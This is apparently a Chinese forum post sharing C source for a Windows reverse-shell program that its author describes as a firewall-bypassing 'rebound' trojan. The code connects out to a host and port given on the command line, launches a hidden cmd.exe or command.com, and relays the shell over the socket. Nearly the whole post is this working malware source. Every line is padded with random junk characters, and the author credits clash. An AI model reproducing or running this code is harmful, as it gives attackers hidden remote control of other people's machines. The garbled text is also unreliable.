这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V1\Rj0#G
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/* ============================== Rw|P$dbu
Rebound port in Windows NT s,~g| I\
By wind,2006/7 Jm-bE 8b
===============================*/ tHFBLM
#include .Ix[&+LsY
#include -EG=}uT['b
v_,'NA0
#pragma comment(lib,"wsock32.lib") |9]_<X[ic
j"n"=rTTQ
void OutputShell();
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SOCKET sClient; 3zzl|+# 6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S^nI=HTm
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void main(int argc,char **argv) @k\npFKQm
{ r tH
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WSADATA stWsaData; #O!gjZ,
int nRet; 5?|yYQM0tK
SOCKADDR_IN stSaiClient,stSaiServer; qD{~QHDa
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if(argc != 3) PBgU/zVn
{ C;']FmK]
printf("Useage:\n\rRebound DestIP DestPort\n"); =21m|8c
return; r+,JM L
} Z*YS7 ~
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WSAStartup(MAKEWORD(2,2),&stWsaData); bkiMF$K,K
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8@7leAq!
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stSaiClient.sin_family = AF_INET; 9EWw
stSaiClient.sin_port = htons(0); (;(2n;i[M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rAA?{(!9x
{}"a_L&[;
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `+@r0:G&v
{ QI`&N(n
printf("Bind Socket Failed!\n"); .@@&q4=&
return; VMw[M^
} Bs^p!4=
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stSaiServer.sin_family = AF_INET; bZu2.?{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =1zRm >m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q; BD|95nl
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LrdX^_,nt
{ gQuU_dbXSB
printf("Connect Error!"); >w#&fd
return; .cB>ab&
} xmHW,#%ui\
OutputShell(); T2 /u7<D-
} i wI}
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void OutputShell() $>hH{
{ Wt!8.d}=
char szBuff[1024]; 60r0O5=|Fl
SECURITY_ATTRIBUTES stSecurityAttributes; r^;1Sm
OSVERSIONINFO stOsversionInfo; H+ 7Fw'u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @^,9O92l
STARTUPINFO stStartupInfo; %B04|Q
char *szShell; W"\O+
PROCESS_INFORMATION stProcessInformation; $zJ!L
unsigned long lBytesRead; u*8x.UE8C0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tWITr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Gr!@ih^
stSecurityAttributes.lpSecurityDescriptor = 0; mZ#h p}\.
stSecurityAttributes.bInheritHandle = TRUE; aa/_:V@$~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <Eh_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v6O5n(5,,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MbyV_A`r_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `_ )5K u}
stStartupInfo.wShowWindow = SW_HIDE; dS;Ui]/J
stStartupInfo.hStdInput = hReadPipe; j&"GE':Y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ->5[C0: ]
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GetVersionEx(&stOsversionInfo); ~otV'= /my
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switch(stOsversionInfo.dwPlatformId) l` ?4O
{ a_k~z3wG
case 1: jYnP)xX;
szShell = "command.com"; lfyij[6q+
break; 17yg ~
default: {/K!cPp9
szShell = "cmd.exe"; ]RTK:%
break; CzG/=#IU
} =[IKwmCX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 06>+loBG
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send(sClient,szMsg,77,0); ky@DH(^>
while(1) 1owe'7\J
{ r,cK#!<%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f(.t0{Etq
if(lBytesRead) (V#*}eGy
{ g/`z.?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @S?D}myD
send(sClient,szBuff,lBytesRead,0); Y$nI9
} &|c] U/_w
else e4Xo(EY &
{ G|)fZQ1nS
lBytesRead=recv(sClient,szBuff,1024,0); f^ 6da6Z
if(lBytesRead<=0) break; + wF5(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T*zy^we
} I8LoXY
} !k=~a]
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return; #4ii!ev
}